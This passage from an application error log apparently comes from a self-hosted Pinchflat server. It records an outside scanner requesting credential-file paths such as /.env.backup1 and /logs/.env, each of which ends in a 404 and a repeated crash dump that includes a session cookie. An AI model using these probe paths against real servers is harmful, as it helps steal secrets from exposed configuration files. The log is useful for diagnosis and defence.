s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.207 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:19.207 [error] #PID<0.3453.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 149) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /sitemaps/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemaps/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemaps/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 149, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3453.0>, params: %{}, path_info: ["sitemaps", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/sitemaps/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6wjU1VFPoDgAASUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemaps/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 149, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemaps/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemaps/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 149, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:19.281 [info] GET /.env.backup1 02:10:19.283 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=192.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.283 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=136.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.283 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:19.284 [error] #PID<0.3454.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 150) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.backup1 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup1", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 150, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3454.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.backup1", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6w1TlWhUvi4AASVB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup1", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 150, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup1", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 150, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:19.350 [info] GET /.env.backup2 02:10:19.350 [debug] QUERY OK source="settings" db=0.2ms idle=203.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.351 [debug] QUERY OK source="settings" db=0.1ms idle=143.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.351 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:19.351 [error] #PID<0.3455.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 151) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.backup2 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup2", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 151, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3455.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.backup2", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6xFpFlrMlLMAASWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup2", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 151, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup2", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 151, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:19.413 [info] GET /logs/.env 02:10:19.413 [debug] QUERY OK source="settings" db=0.2ms idle=205.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.413 [debug] QUERY OK source="settings" db=0.1ms idle=130.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.413 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:19.414 [error] #PID<0.3456.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 152) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /logs/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /logs/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 152, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3456.0>, params: %{}, path_info: ["logs", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, 